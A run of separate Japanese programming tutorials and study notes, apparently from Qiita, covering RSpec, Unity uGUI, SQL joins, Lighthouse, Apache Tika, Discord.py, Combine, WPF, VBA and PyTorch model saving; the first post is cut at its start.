- <font color="OrangeRed">**バージョンアップ時に既存機能が正しく動作しているかを素早く確認できる。**</font>（レガシーな現場では全機能をポチポチさせられてるSESの人もいるんです...良いか悪いかは置いといて...）
- <font color="OrangeRed">**仕様を記述したドキュメントとしても機能する**</font>（設計書が整備されていない現場は多いです。）
- <font color="OrangeRed">**リグレッションテストが速攻で終わるので結局は開発効率を上げてくれる**</font>


# 参考書籍
- [現場で使えるRuby on Rails5 速習実践ガイド](https://www.amazon.co.jp/%E7%8F%BE%E5%A0%B4%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B-Ruby-Rails-5%E9%80%9F%E7%BF%92%E5%AE%9F%E8%B7%B5%E3%82%AC%E3%82%A4%E3%83%89-%E5%A4%A7%E5%A0%B4%E5%AF%A7%E5%AD%90/dp/4839962227)

#使用するテスト用ライブラリ
- RSpec...BDD（Behaviour-Driven Development)：振舞い開発駆動用テスティングフレームワーク
- Capybara...E2E（End-to-End)テスト用フレームワーク
- FactoryBot(テストデータ作成gem）
- selenium-webdriver(ブラウザを操作してくれるgem)
- chromedriver-helper(chromeを動かすのに必要)
- testのところに書くんですねー

```ruby

group :development, :test do
  gem 'factory_bot_rails','~> 4.11'
#省略

group :test do
  gem 'capybara', '>= 2.15'
#省略
  gem 'selenium-webdriver'
  gem 'chromedriver-helper'
  gem 'rspec-rails', '~> 3.7'

```



### RSpecの基本形（用語と構造）
- <font color="DarkOrange">テストケースを整理・分類する</font>
  - describe...テストの対象機能の説明文
  - context...条件の説明文
- <font color="Blue">テストコードを実行する</font>
  - it...アウトプットを記述
  - expect...（エクスペクテーション）期待される処理を記述する


```ruby

describe '仕様を記述する対象' , type: [Specの種類] do
 
  context [状況・状態の条件] do
    before do
      [事前条件]
    end
  
  it '仕様の内容（期待の概要' do
    [期待する動作の処理]
  end

end

```

```ruby

describe '計算' do
  it '1 + 1 は 2 になること' do
    expect(1 + 1).to eq 2
  end
end

```

##具体例

このように`describe`と`it`が仕様として残る。
`it(example)`をネストして書くこともできる

```ruby

describe '計算' do
  it '1 + 1 は 2 になること' do
    expect(1 + 1).to eq 2
  end
  it '2 - 1 は 1 になること' do
    expect(2 - 1).to eq 1
  end
end

```

・1つのit(example)の中に`expect`を設置することもできる。ただし、`expect`がエラーになった時にテスト失敗で落ちてしまうので基本は<font color="Red">1つのexapleに1つのexpect</font>とする。

```ruby

describe '計算' do
  it '四則演算をする' do
    expect(1 + 1).to eq 2
    expect(2 - 1).to eq 1
    expect(5 * 5).to eq 25
    expect(40 / 5).to eq 8
  end
end

```


###その他の文法
- before
  - 前提条件を処理する際にdescribe内に記述。itが実行されるたびに新たに実行される。
  - 次のitが実行されるまでにデータベースの状態は元に戻されるため、あるテストケースで行った処理のせいで別のテストケースが影響を受けることはない。



###今回は一旦ここまで、随時更新予定。次は
`FactoryBotでテストデータを作成できるように準備する`を書けたらいいな。
長押しすると複数選択に切り替わる可変長リスト (uGUI)

# 前提
- unity 2018.4.1f1
- uGUIのLayoutGroupを使って、「項目一覧」が動的に生成されるものとします。

# やりたいこと (要求仕様)
- 単数選択モード
    - 表示
        - 検索パネルが表示される。(絞り込み可能)
        - 項目毎のチェックボックスが非表示になる。
        - 複数選択メニューが非表示になる。
    - 項目をタップすると、項目が選択、決定される。
    - 項目を長押しすると、複数選択モードに切り替わる。
- 複数選択モード
    - 表示
        - 検索パネルが非表示になる。(事前の絞り込みは可能)
        - 項目毎のチェックボックスが表示される。
            - 最初に長押しされた項目は、切り替え直後にチェック済みになる。
        - 項目数と選択数が表示される。
        - 複数選択メニューが表示される。
            - 全て選択解除、全て選択、選択項目を削除、選択項目を複製、…
    - 項目をタップすると、チェックが反転する。
    - 選択済み項目がなくなると、単数選択モードに切り替わる。
- 共通
    - 通常のボタンと同じように、PointerUpで発動する。PointerDownのままPointerExitすると発動しない。

# 実現したこと
### 手法
- `IPointerClickHandler, IPointerDownHandler, IPointerUpHandler`を継承して、自前で挙動を組みました。
    - Toggleを試した時点で、長押し検出のために、PointerDownとPointerUpは使っていました。
    - 留意点
        - イベントは、PointerDown ⇒ PointerUp ⇒ PointerClick の順で発生します。
        - PointerDown後にPointerExitが生じた場合は、PointerUpだけが生じて、PointerClickは発生しません。
- 概略のアルゴリズム
    - PointerDownが生じたら、時間の計測を始め、未処理のフラグを立てます。
        - PointerUpで時間計測を終了します。
    - 単数選択モード時、PointerDown後に長押し検出の閾値の時間が経過すると、モードを切り替えます。さらに、長押しされた項目を選択済みにして、フラグを処理済みに切り替えます。
    - PointerClickが生じたときは、フラグが未処理を示す場合に限り、チェックを反転します。
- 生成コストの嵩む多数の項目を扱うために、項目の生成はコルーチンで処理していました。
    - 項目生成途中でモードが切り替わる可能性もあるので、項目毎のモードの切り替えもコルーチンで処理するようにしました。
    - 全選択は、その時点で生成済みの項目に対してのみ処理されるので、項目生成中だった場合は未選択が生じます。

### 挙動
- 要求仕様を一通り満たしました。

### コード
- 汎用性がないので、上記の考え方のみで済ませたのですが、需要があるのでしたら整理して掲載します。
    - 具体的な項目内容を割愛する関係上、検索、削除、複製などの機能も割愛されます。

# 試みたこと
- 最初に、Toggleをベースに実装しました。
    - Toggleの挙動とButtonの挙動をToggleに兼務させることは難なくできます。
    - しかし、PointerUpでチェックを反転するToggleの自動的な挙動と、長押しでモード切り替えた直後に最初の項目をチェック済みにする意図的な挙動が競合してしまい、要求の完全な実現はかないませんでした。
- また、下記の実現後に、Buttonクラスを継承したクラスとして再構成することを検討したのですが、汎用性を持たせることが難しそうなので早々に断念しました。
    - Buttonクラスの継承を試みた際に、以下の記事を参照しました。どうもありがとうございました。  
「[Unityで継承クラスに追加したプロパティがInspectorに表示されない場合](https://qiita.com/ELIXIR/items/5596295b3b7dfbfc127e)」
6/6

習得知識
helperは、viewで使うメソッドの入れ物

controllerとmodel はインスタンス変数でつながっている？

"::"の意味
外側のクラス::内側のクラス
ネストしている

update_attributes　でuserの更新
>> user.update_attributes(name: "The Dude", email: "dude@abides.org")
=> true
>> user.name
=> "The Dude"
>> user.email
=> "dude@abides.org"

次回
7.1.4の最後から
最後のuser変更ができない

中長期的課題
正規表現　pt情報に使う？
メールの検索　第6章あたりが理解していない
データベースの基本2(MySQL)

| id     |item_name |price    |keyword|
|:-----------------|:------------------|:------------------|:---------|
| 1             | いちご |        180        |赤い、甘い、ケーキ|
| 2           |りんご       |       90       |丸い、赤い、パイ|
| 3             |バナナ              |120 |     パック、甘い、黄色        |
| 4             |ベリー              |200 |     袋入り、青い、眼精疲労        |
データベースに上記のデータが入っていることを前提に。テーブル名は`my_items`

##ORDER BY
###データを昇順、降順で並べる
データベースのデータの並び順は、基本的にはidの小さい順（昇順）で並べられている。が、実際にはそうとも限らないので、`OREDER BY`で並び替えが必要になることがあります。

```sql
/* 昇順 */
SELECT * FROM my_items ORDER BY id ASC;
/* 降順 */
SELECT * FROM my_items ORDER BY id DESC;
```
標準はASCなので、ASCは省略してもOK

###WHEREと組み合わせる
例えば、価格が180円以下の商品を安い順に並べる場合は次のように

```sql
SELECT * FROM my_items WHERE price<=180 ORDER BY price;
```

##さまざまな算出機能

```sql
/* 最も高価な商品を検索 */
SELECT MAX(price) FROM my_items;
/* 最も低価格な商品を検索 */
SELECT MIN(price) FROM my_items;
/* ヒットしたデータ数を取り出す */
SELECT COUNT(id) FROM my_items;
/* 価格の平均を算出 */
SELECT AVG(price) FROM my_items;
```

##リレーション
リレーションは、複数のテーブルをその関連性からつないで1つのテーブルのように扱うことができる。

`my_items`テーブル

|id|maker_id|item_name|price|keyword|
|:--|:----|:---|:---|:---------|
| 1|1|いちご|180|赤い、甘い、ケーキ|
| 2|2|りんご|90|丸い、赤い、パイ|
| 3|1|バナナ|120|パック、甘い、黄色|
| 4|3|ベリー|200|袋入り、青い、眼精疲労|

`makers`テーブル

| id|name|address|tel|
|:--|:---|:------|:--|
| 1|ヤマダ |東京都港区|0000|
| 2|サイトウ|北海道小樽市|1111|
| 3|カワカミ|神奈川県横浜市|2222|

###リレーションを使う

```sql
SELECT * FROM makers, my_items WHERE my_items.id=1 AND makers.id=my_items.maker_id;
```
実際に実行してみると、1つのテーブルで管理されているかのように関連付けて表示されます。
ポイントは`FROM`。テーブルを`,`で区切っていくつも指定できる。複数のテーブルからデータを一括で取り出せる。

###WHEREでリレーションを張る
ただし、複数のテーブルを指定したら、必ずキーとなるカラムを使って結びつけないといけない。

```sql
... AND makers.id=my_items.maker_id;
```
これは、makersテーブルのidとmy_itemsテーブルのmake_idが一致したデータを検索するという意味。テーブル名に続けて`.`でくっつけてカラム名を記述。
このように、複数のテーブルをつないでデータを検索することをリレーションを張るといいます。

###テーブル名のショートカット

```sql
SELECT * FROM makers m, my_items i WHERE i.id=1 AND m.id=i.maker_id;
```
このように書くと、makersをｍに、my_itemsをiに指定できる。見分けがつく短い名前がいいでしょう。

>[データベースの基本1(MySQL)](https://qiita.com/Take_jpn/items/bd4c92008f624e08a01b)
【参考】
[よくわかるPHPの教科書](https://www.amazon.co.jp/%E3%82%88%E3%81%8F%E3%82%8F%E3%81%8B%E3%82%8BPHP%E3%81%AE%E6%95%99%E7%A7%91%E6%9B%B8-%E3%80%90PHP7%E5%AF%BE%E5%BF%9C%E7%89%88%E3%80%91-%E3%81%9F%E3%81%AB%E3%81%90%E3%81%A1%E3%81%BE%E3%81%93%E3%81%A8/dp/4839964688/ref=tmm_pap_swatch_0?_encoding=UTF8&qid=&sr=)
Google Lighthouse で自社ドメインからの配信量を計測する

株式会社オズビジョンのユッコ (@terra_yucco) です。

オズビジョンのメインプロダクト「ハピタス」では画像配信の一部に CDN を用いていますが、CDN は配信量に応じて課金が発生します。
一時期、表示 200 x 200 程度の枠に対して、3000 x 3000 の画像をアップしてしまったりしたことで、配信量がえげつないことになり、最近は画像のサイズに気を使う風潮が出てきました。(石を投げないで)

そんな中、2019-06-06 時点ではハピタスの LP に Youtube 動画を埋め込んでいるのですが、表現に Youtube API の制限を受けるため、自社配信にできないか？という話が出てきました。
そのため、現在の LP の配信量と、それに対してどれくらい削減できるのか？を調べるため Google Lighthouse の Chrome 拡張を導入しましたが、値の見方で色々困ったので個人的にメモしたものになります。

# 自社ドメインからの配信量を計測する
## 測定手順

1. Chrome の拡張機能として Lighthouse をインストール
    - 今回、以下で触れているのとは別に、IP 制限をかけているページも計測したかったので拡張機能を入れました
2. 計測したいページを Chrome で開く
3. Generate Report を押下

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/95030/c4c94eaf-a52f-b3a0-c7cd-a831e40fd9b5.png)

## 測定結果

Lighthouse の結果のうち「Keep request counts low and transfer sizes small」の項目を参照しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/95030/68b99c06-7ba2-b1b9-c51d-78082e6ff7ad.png)

## 疑問になったこと

Transfer size の表は転記すると以下のとおりです。

Resource Type|Requests|Transfer Size
:--|:--|:--
Total|212|4,173 KB
Image|79|1,308 KB
Script|52|951 KB
Other|18|916 KB
Font|49|826 KB
Stylesheet|8|133 KB
Document|6|39 KB
Media|0|0 KB
Third-party|146|2,915 KB

ただ、Image 以下の Transfer Size を全部足しても、Total と一致しませんでした。

### 公式ヘルプ

値について、公式ヘルプを見ると、Resource Type については以下のように記載がありました。

- [
Performance Budgets (Keep Request Counts Low And File Sizes Small)](https://developers.google.com/web/tools/lighthouse/audits/budgets?utm_source=lighthouse&utm_medium=extension)

以下の表は上記サイトからの転載です。

Name|Type|Valid Value(s)|Description
:--|:--|:--|:--
resourceType|String|total, document, script, stylesheet, image, media, font, other, or third-party.|**total** measures all page resources. **document** measures HTML document requests. **other** includes any resource that does not match the other categories, including XHR or Fetch requests, and data transfers over WebSocket connections. **third-party** measures all resources from third-party domains.

- total
    - すべてのページリソース
- document
    - HTML ドキュメントのリクエスト分
- other
    - ほかに属さないもの、XHR 通信や Web ソケットによるデータ通信も含む
- third-party
    - third party ドメインからの全リソース

YouTube 動画はドメイン的に Third-party に入るのだろうと思いますが、実配信量はこの例で行くと 4,173 KB なのか、4,173 + 2,915 KB なのかが不明だったため (開発者ツールである程度わかるのかもしれませんが) 簡易的な HTML を作って計測をしました。

## 計測
### 簡易 HTML

```html
<html>
<head><title>TEST</title></head>
<body>
<img src="https://img.hapitas.jp/img/images/anti_fraud/anti_fraud_bnr.png">
</body>
</html>
```

### 計測結果

ローカルの vagrant で動かしたので、画像も Third-party と判定されました。
画像は 11,371 byte、コードは見ての通り超軽量です。

なので、トータルは Third-party も含めた合算であり、自社から配信している量の近似量は Total - Third-party で計算出来そうということがわかりました。

Resource Type|Requests|Transfer Size
:--|:--|:--
Total|2|12 KB
Image|1|11 KB
Document|1|0 KB
Stylesheet|0|0 KB
Media|0|0 KB
Font|0|0 KB
Script|0|0 KB
Other|0|0 KB
Third-party|1|11 KB

なお `hapitas.jp` の場合は `xxx.hapitas.jp` はサブドメインなので Third-party には含まれません。

## Conclusion

弊社 SRE チームの活躍により CDN は以前より低価格になりましたが、それでも転送量課金があるので、エンジニアも画像サイズには気を遣う必要があります。
現状の配信量と、今回の記事には載せていませんが改善アドバイスもいろいろ記載されますので、一度は使ってみるといいのかな、と感じました。

CDN を最適化した話は、また別の機会に弊社 SRE チームが書いてくれるのではないかと期待しています :cat:
【Java】Apathce Tikaでファイルの内容からMimeTypeを取得する【Kotlin】

# やりたいこと
ファイル内容からMimeTypeを取得します。
MimeTypeはファイルの拡張子からも推測できますが、書き換えられていたりすると困る用途に用いるため、ファイル内容から取得します。

# 手段
Apache Tikaを使います。
ただし、`TikaInputStream`を絡めたやり方でなければ結果がファイル名に左右されます。

## 導入方法
MavenからApache Tika Coreを導入して使います。
検証には`1.21`を使いました。

- [Maven Repository: org\.apache\.tika » tika\-core](https://mvnrepository.com/artifact/org.apache.tika/tika-core)

## 検証用コード
雑ですが、`src/main/resources`配下のファイルすべてについてMimeTypeを取得するサンプルです。
補足として、`org.apache.tika.metadata.Metadata`型はKotlinの`Metadata`型と名前が被るため、型に名前を付けています。

```kotlin:resources内のファイルを読み込み、MimeTypeを出力する
import java.io.File
import org.apache.tika.Tika
import org.apache.tika.io.TikaInputStream
import org.apache.tika.metadata.Metadata as TikaMetadata

fun main() {
    val resourcesDir = File(System.getProperty("user.dir") + "/src/main/resources")

    val metaData = TikaMetadata()
    val tika = Tika()

    resourcesDir.listFiles().map {
        val tikaStream = TikaInputStream.get(it.toURI(), metaData)
        // 拡張子はソートのためlowerCaseに統一
        it.name.split(".").last().toLowerCase() + " -> " + tika.detect(tikaStream, metaData)
    }.sorted().forEach {
        // ソートした上で出力
        println(it)
    }
}
```

### 実行結果
その辺にあったファイルやサンプルを放り込んで回してみた結果です。
大体一意に取れてます。また、拡張子を書き換えて試してみても大体上手く動作しました。

```
7z -> application/x-7z-compressed
avi -> video/x-msvideo
docx -> application/vnd.openxmlformats-officedocument.wordprocessingml.document
exe -> application/x-dosexec
flv -> video/x-flv
html -> text/html
jpg -> image/jpeg
jpg -> image/jpeg
m3u -> text/plain
mkv -> video/x-matroska
mkv -> video/x-matroska
mkv -> video/x-matroska
mkv -> video/x-matroska
mov -> video/quicktime
mov -> video/quicktime
mov -> video/quicktime
mov -> video/quicktime
mp3 -> audio/mpeg
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/mp4
mp4 -> video/x-m4v
mpg -> video/mpeg
mpg -> video/mpeg
mpg -> video/mpeg
msi -> application/x-ms-installer
pdf -> application/pdf
png -> image/png
pptx -> application/vnd.openxmlformats-officedocument.presentationml.presentation
svg -> image/svg+xml
ts -> application/octet-stream
vcmf -> application/octet-stream
vob -> video/mpeg
webm -> video/webm
webm -> video/webm
webm -> video/webm
webm -> video/webm
zip -> application/zip
```

# 他の手段
今回はTikaを使いましたが、`URLConnection`や`mime-util`を使う方法の方が検索で出てくるという意味ではメジャーです。
しかし、これらは検出精度やメンテナンスの継続に難が有ったため、今回は試しにTikaを用いました。

# 記事を書くにあたって利用させていただいたサイト
- [JavaでファイルのヘッダーからContentTypeを取得する方法 \| ハックノート](https://hacknote.jp/archives/5320/)
- [動画圧縮サンプルの提供](http://kakonacl.xsrv.jp/~kakonacl/sankoh/movies/sample.html)
- [java \- Getting MimeType subtype with Apache tika \- Stack Overflow](https://stackoverflow.com/questions/7137634/getting-mimetype-subtype-with-apache-tika)
Discord.pyで埋め込みメッセージを使う（embed）

自分用メモ

```python
embed = discord.Embed(title='タイトル', description='タイトルの下のアレ', color=16進数カラーコード)
embed.set_thumbnail(url='アイコンのURL')
embed.add_field(name='名前的な', value='内容', inline=True)#←インライン的な
embed.set_image(url='画像のURL')
await message.content.send(embed=embed)
```
そんで色々うまくいくとこうなる
<img width="453" alt="F754F6CD-A243-4926-B2CF-5F82EED73F95.jpeg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/372871/77103aad-546d-5d05-6652-fa64f02693a7.jpeg">
[なんか便利なやつ](https://cog-creators.github.io/discord-embed-sandbox/)
Combineフレームワーク と RxSwift その１

#Combineフレームワークとは
先日のWWDCで発表されたSwiftUIのインパクトはすごかったですが、それと一緒に導入されたCombineフレームワークも個人的には衝撃でした！
Appleの更新ページでは下記のように説明されています。

>The Combine framework provides a declarative Swift API for processing values over time. These values can represent user interface events, network responses, scheduled events, and many other kinds of asynchronous data. Combine declares publishers to expose values that can change over time, and subscribers to receive those values from the publishers.


- UIイベント、ネットワーク応答、スケジュールされたイベント、および他の多くの種類の非同期データを表せる
- 時間の経過とともに変化する可能性のある値を公開するPublishersを提供
- Subscriberは、Publisherから値を受け取ることが可能

これって、RxSwiftみたいなフレームワークなのかなと思ってAPIリファレンスを覗いたところ、想像以上にRxSwiftでした！
大枠ではRxSwiftのネイティブ実装といっても良いのですが、やはり細かい違いはありますので気がついたところを見ていきます。

###Combineのクラスは、RxSwftのクラスで説明すると大体こんな感じです。
| Combine |RxSwift|
|:-:|:-:|
| Publisher  | -- |
| Subscriber  | -- |
| PassthroughSubject  | PublishSubject  |
| CurrentValueSubject  | BehaviorSubject<br>Variable  |
| AnyPublisher  |Observable|

AppleのリファレンスはCombineの概要を説明するのに、Publisher、Subscriber という名前を出しているのですが、この２つはProtocolなので、実際のコードではどの様に書けばいいのか迷子になりがちですが、Subjectを中心にするのが正解です。
ということで、PassthroughSubject から入っていきましょう！

```swift

let pSubject = PassthroughSubject<Int,Never>()
//Rxではbind関数だが、Combineではsink関数
pSubject.sink { value in
   print(value)
}
//Rxのオペレータは大体あります!!!
pSubject.filter{$0.isMultiple(of: 2)}
        .map { $0 + 10 }
        .sink { print($0) }
//onNextじゃなくてsendで値を流す
pSubject.send(100)
```
CombineのSubjectはエラーを流すことができますが、RxではSubjectはエラーを流さない事を保証しています。ココが大きな違いですね。

```swift
let subject = PassthroughSubject<Int,NSError>() //このsubjectはNSErrorを流す事がある
subject.send(completion: .finished) // RxのonCompleteにあたる
subject.send(completion: .failure(NSError(domain: "Error", code: 0))) //Errorを流して終了
```

次に、CurrentValueSubject。

```swift
let cvSubject = CurrentValueSubject<Int,Never>(100)
print(cvSubject.value)
cvSubject.filter{$0.isMultiple(of: 3)}
         .map { $0 + 20 }
         .sink { print($0) }
        
cvSubject.sink { print($0) }
cvSubject.send(3) //sendでもストリームは流れるのですが
print(cvSubject.value)//100 !!!! valueは変わりません
cvSubject.value = 33 //値を書き換えてもストリームが流れて
print(cvSubject.value)//33 !!!!
```

CurrentValueSubject の value プロパティは、send メソッドでは値が変わらないようで、valueを直接書き換えるのが正しい利用方法のようです。
（どちらもイベントは発火します）

多分 その２に続く...
[WPF/xaml/C#]コントロールの大きさや位置を、C#コードから変化させる(RenderTransform)

# やりたいこと
xaml側で、コントロールの`RenderTransform`に、`Transform`を継承したクラス(例えば`RotateTransform(回転)``ScaleTransform(拡大縮小)``TranslateTransform(移動)`など)をセットしてパラメータを設定してやると、そのコントロールを回転、拡大縮小、移動などできるが、それをコードから行いたい。

# やり方
xamlでやるのと同じように、コントロールの`RenderTransform`に`Transform`系クラスをセットする。
セットするときには、`TransformGroup`の子要素として`Transform`系クラスを登録してから、その`TransformGroup`を`RenderTransform`に入れるようにする。(ややこしいので下記サンプル参照)

# サンプルコード
ここでは、ボタンを押したときに、そのボタン自身を3倍の大きさにして、横に10ピクセルほどずらすということをしている。

```MainWindow.xaml
<Window x:Class="WpfApp28.MainWindow"
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
        xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
        xmlns:local="clr-namespace:WpfApp28"
        mc:Ignorable="d"
        Title="MainWindow" Height="450" Width="800">
    <Grid>
        <Button Width="100" Height="50" Content="ボタン" Click="Button_Click"/>
    </Grid>
</Window>

```


```MainWindow.xaml.cs
using System.Windows;
using System.Windows.Controls;
using System.Windows.Media;

namespace WpfApp28
{
    public partial class MainWindow : Window
    {
        public MainWindow()
        {
            InitializeComponent();
        }

        private void Button_Click(object sender, RoutedEventArgs e)
        {
            if (sender is Button bt)
            {
                // TransformGroupを作成(大きさを3倍にして、右に10pixcelずらす)
                var tfg = new TransformGroup();
                tfg.Children.Add(new ScaleTransform(3, 3));
                tfg.Children.Add(new TranslateTransform(10, 0));

                // ボタンのRenderTransformにセット
                bt.RenderTransform = tfg;
            }
        }
    }
}
```

# その他、TransformGroupにsetできるもの
msdocsの[Transform Class](https://docs.microsoft.com/ja-jp/dotnet/api/system.windows.media.transform?view=netframework-4.8)のページによると、この辺りをsetできる。

|クラス|機能|
|:--|:--|:--|
|RotateTransform|回転|
|ScaleTransform|拡大縮小|
|TranslateTransform|平行移動|
|SkewTransform|スキュー変換(難しそうなので未検証)|
|MatrixTransform|アフィン行列変換(難しそうなので未検証)|

# 関連記事
xamlだけで同じことがしたいときはこちら
[[WPF/xaml] 画面の要素を回転/拡大縮小/移動する（RenderTransform）](https://qiita.com/tera1707/items/b6a1803a64f34827f741)

# 参考
アニメーション（WPF）
https://ufcpp.net/study/dotnet/wpf_xamlani.html
Excel列番号を変換する関数

Cellsオブジェクトを中継するのが何となく癪だったので再帰呼び出しで実装してみた。

R1C1→A1

```VB
Function GetA1Col(col As Integer) As String
    If col < 27 Then
        GetA1Col = Chr(col + 64)
    Else
        GetA1Col = GetA1Col(Int((col - 1) / 26)) & Chr((col - 1) Mod 26 + 65)
    End If
End Function
```
A1→R1C1

```VB
Function GetR1C1Col(col As String) As Integer
    If Len(col) = 1 Then
        GetR1C1Col = Asc(col) - 64
    Else
        GetR1C1Col = Asc(Right(col, 1)) - 64 + GetR1C1Col(Left(col, Len(col) - 1)) * 26
    End If
End Function
```

###こだわらないひと向け
R1C1→A1

```VB
Function GetA1Col(col As Integer) As String
    Dim adrs As String
    adrs = Cells(1, col).Address(True, False)
    GetA1Col = Left(adrs, InStr(adrs, "$") - 1)
End Function
```
A1→R1C1

```VB
Function getR1C1Col(col As String) As Integer
    getR1C1Col = Cells(1, col).Column
End Function
```

Excelで本来不可能な列番号（マイナス値とか、16385以上とか）への配慮はしていません。利用シーンに合わせてお好みで実装してください。
ただし再帰呼び出しが入っているので、ダイアログ出すなら場所に気を付けて。
[VBA]条件付き編纂(条件付きコンパイラ) Const Directiveでイミディエイトに環境を表示する

#条件付き編纂(条件付きコンパイラ)については以前まとめていました
https://qiita.com/Q11Q/items/1ba6ba54e80ec4695ee7
#今回は環境を表示させるというありそうでないものをつくりました
Show Your PC Developing Environment In VBE- Immediate Window.
##コードの流れ

 1. Macintosh Windowsをわけ
 2. WindowsをVBA7互換環境かVBA6互換環境か16Bit開発環境の三通りにわけて
 　　1. VVBA7互換環境は64か32に
 　　2. VBA6互換環境は64か32か16に
 3. さらに16BitはVBA7かVBA6かによらずWin64かWin32かWin16にわける
 4. 以上の結果をイミディエイトに表示する

##Macが動くかは保証できず
I do not have Macintosh, so I can not recognaize if Debug.Print Statement runs Macintosh.
http://gadgets-geek.blog.jp/archives/1045571708.html

 (16) イミディエイトウィンドウは既に利用可能！
（現状、ローカルウィンドウ・ウォッチウィンドウは利用不可） 
などとあり、Debug.Printが効くのか自信が持てません。しかしなにもしないわけにはいかないのでDebug.Printを入れました。しかし***Macintoshがないので動作確認していません。***

##コード

```visualbasic:ShowEnvironmentInImmidiate
Sub ShowEnvironmentInImmidiate()
'https://docs.microsoft.com/ja-jp/office/vba/language/concepts/getting-started/compiler-constants
' If My Code does not run well, Plese Try this Official Code
#If Win64 Then
Debug.Print "Official Code : Win64=true, Win32=true, Win16= false"
#ElseIf Win32 Then
Debug.Print "Official Code : Win32=true, Win16=false"
#Else
Debug.Print "Official Code :Win16=true"
#End If

#If Mac Then
Debug.Print "Mac"
#Else
'Windows
    #If VBA7 Then
         #If Win64 Then
           Debug.Print "VBA7 and Win 64"
         #Else
           Debug.Print "VBA7 and Win 32"
         #End If
    #ElseIf VBA6 Then
         #If Win64 Then
           Debug.Print "VBA6 Compatible and Win 64"
         #ElseIf Win32 Then
          Debug.Print "VBA6 Compatible  and Win 32"
         #ElseIf Win16 Then
          Debug.Print "VBA6 Compatible  and Win 16"
         #End If
      #Else
          #If Win64 Then
            Debug.Print "16bit Environment and Win64 True"
          #ElseIf Win32 Then
            Debug.Print "16bit Environment and Win32 True"
          #ElseIf Win16 Then
            Debug.Print "In 16 bit developping environment."
          #End If
      #End If
#End If
End Sub
```

#公式の参考
https://docs.microsoft.com/ja-jp/office/vba/language/concepts/getting-started/compiler-constants
https://docs.microsoft.com/ja-jp/office/vba/language/concepts/getting-started/understanding-conditional-compilation
【Python】Pytorchのモデル保存・読み込みをもっと簡単にしたい！


# 目次
- [はじめに](#はじめに)
- [保存用関数](#保存用関数)
- [読み込み用関数](#読み込み用関数)
- [使用例](#使用例)

# はじめに

Pytorchモデルの保存・読み込みは，以下のような方法で行うことができます。

```py:保存
torch.save(the_model.state_dict(), PATH)
```
```py:読み込み
the_model = TheModelClass(*args, **kwargs)
the_model.load_state_dict(torch.load(PATH))
```

ただこの方法だと保存ファイルの他に，モデルのクラスやその引数なども覚えておく必要があり，それがちょっと不便でした。

ということで，これらを一緒に保存して保存ファイルのパスだけで読み込めるような関数を書きました。


# 追記 （2019/06/07）
改めて調べてみたら，もっと簡単な方法を見つけてしまいました。
cloudpickleモジュールを使用します。

```py
import cloudpickle
```
```py:保存
with open('model.pkl', 'wb') as f:
    cloudpickle.dump(model, f)
```
```py:読み込み
with open('model.pkl', 'rb') as f:
    model = cloudpickle.load(f)
```

**参考**
https://qiita.com/kojisuganuma/items/e9b29e8e5ef5f5f289b2


# 保存用関数

```py:保存
import inspect
import pickle
from copy import deepcopy

def save_model(model, filename, args=[], kwargs={}):
    ''' モデル・重みの保存 '''
    model_cpu = deepcopy(model).cpu()
    state = {'module_path': inspect.getmodule(model, _filename=True).__file__,
             'class_name': model.__class__.__name__,
             'state_dict': model_cpu.state_dict(),
             'args': args,
             'kwargs': kwargs}
    with open(filename, 'wb') as f:
        pickle.dump(state, f)
```

- `module_path` : モデルのクラスが定義されているファイルのパス
- `class_name`  : モデルのクラス名
- `state_dict`  : モデルの重み
- `args`        : モデルの引数（リスト引数）
- `kwargs`      : モデルの引数（キーワード引数）



# 読み込み用関数

```py:読み込み
import pickle
from importlib import machinery

def load_model(filename):
    ''' モデル・重みの読み込み '''
    with open(filename, 'rb') as f:
        state = pickle.load(f)
    module = machinery.SourceFileLoader(
        state['module_path'], state['module_path']).load_module()
    args, kwargs = state['args'], state['kwargs']
    model = getattr(module, state['class_name'])(*args, **kwargs)
    model.load_state_dict(state['state_dict'])
    return model
```

**＜注意＞**
`save_model()`で保存されるファイルパスは今いるPC上での絶対パスなので，保存ファイルを別PCに転送して使う場合には，`load_model()`で読み込めない可能性があります。（絶対パスが同じ表記なら問題なし）
`load_model()`が使えない場合は，保存ファイルから`state_dict`, `args`, `kwargs`だけ取り出して使用して下さい。


# 使用例

```py:使用例
import torch.nn.functional as F
from torch import nn

class Net(nn.Module):
    def __init__(self, input_size, output_size):
        super(Net, self).__init__()
        self.fc1 = nn.Linear(input_size, 64)
        self.fc2 = nn.Linear(64, 32)
        self.fc3 = nn.Linear(32, output_size)

    def forward(self, x):
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = F.log_softmax(self.fc3(x))
        return x


if __name__ == '__main__':
    # モデル定義
    model = Net(128, 2)
    print(model)
    # 保存
    save_model(model, 'net.pkl', args=[128, 2])
    # 読み込み
    model = load_model('net.pkl')
    print(model)
```
```:出力
Net(
  (fc1): Linear(in_features=128, out_features=64, bias=True)
  (fc2): Linear(in_features=64, out_features=32, bias=True)
  (fc3): Linear(in_features=32, out_features=2, bias=True)
)
Net(
  (fc1): Linear(in_features=128, out_features=64, bias=True)
  (fc2): Linear(in_features=64, out_features=32, bias=True)
  (fc3): Linear(in_features=32, out_features=2, bias=True)
)
```